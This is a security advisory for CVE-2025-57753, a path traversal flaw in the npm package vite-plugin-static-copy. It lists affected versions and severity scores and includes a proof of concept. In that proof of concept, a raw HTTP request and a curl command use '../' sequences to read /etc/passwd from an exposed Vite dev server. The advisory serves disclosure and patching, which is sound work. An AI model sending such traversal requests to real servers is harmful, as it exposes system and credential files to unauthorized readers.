logo

CVE-2025-57753 vite-plugin-static-copy

Package

Manager: npm
Name: vite-plugin-static-copy
Vulnerable Version: >=3.0.0 <3.1.2 || >=0.4.3 <2.3.2

Severity

Level: Medium

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N/E:P/RL:O/RC:C

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS: 0.00108 pctl0.29667

Details

vite-plugin-static-copy files not included in `src` are possible to access with a crafted request ### Summary Files not included in `src` was possible to access with a crafted request. ### Impact Only apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected. Arbitrary files can be disclosed by exploiting this vulnerability. ### Details Consider the following configuration in used by `vite.config.ts`: ```ts import { defineConfig } from 'vite' import { viteStaticCopy } from 'vite-plugin-static-copy' export default defineConfig({ plugins: [ viteStaticCopy({ targets: [ { src: "./public/images", dest: "./", }, ], }), ], }); ``` The files under the `./public/images` is only expected to be served. Abusing this vulnerability, an attacker can access arbitrary files on the filesystem. ### PoC I've attached a demo app to showcase the bug. Run it with `npm run dev` and issue the following HTTP request ``` GET /static/images/../../../../../../../etc/passwd HTTP/1.1 Host: localhost:3001 Content-Length: 2 ``` OR ``` curl --path-as-is -i -s -k -X $'GET' \ -H $'Host: localhost:3001' -H $'Content-Length: 2' \ --data-binary $'\x0d\x0a' \ $'http://localhost:3001/static/images/../../../../../../../etc/passwd' ``` Observe that the `/etc/passwd` file is included in the response. <img width="1289" height="449" alt="Screenshot 2025-08-16 at 10 27 11 PM" src="https://github.com/user-attachments/assets/4de12612-7b86-44d7-a403-c76f12832e37" />

Metadata

Created: 2025-08-21T14:53:52Z
Modified: 2025-08-21T19:16:58Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-pp7p-q8fx-2968/GHSA-pp7p-q8fx-2968.json
CWE IDs: ["CWE-22"]
Alternative ID: GHSA-pp7p-q8fx-2968
Finding: F063
Auto approve: 1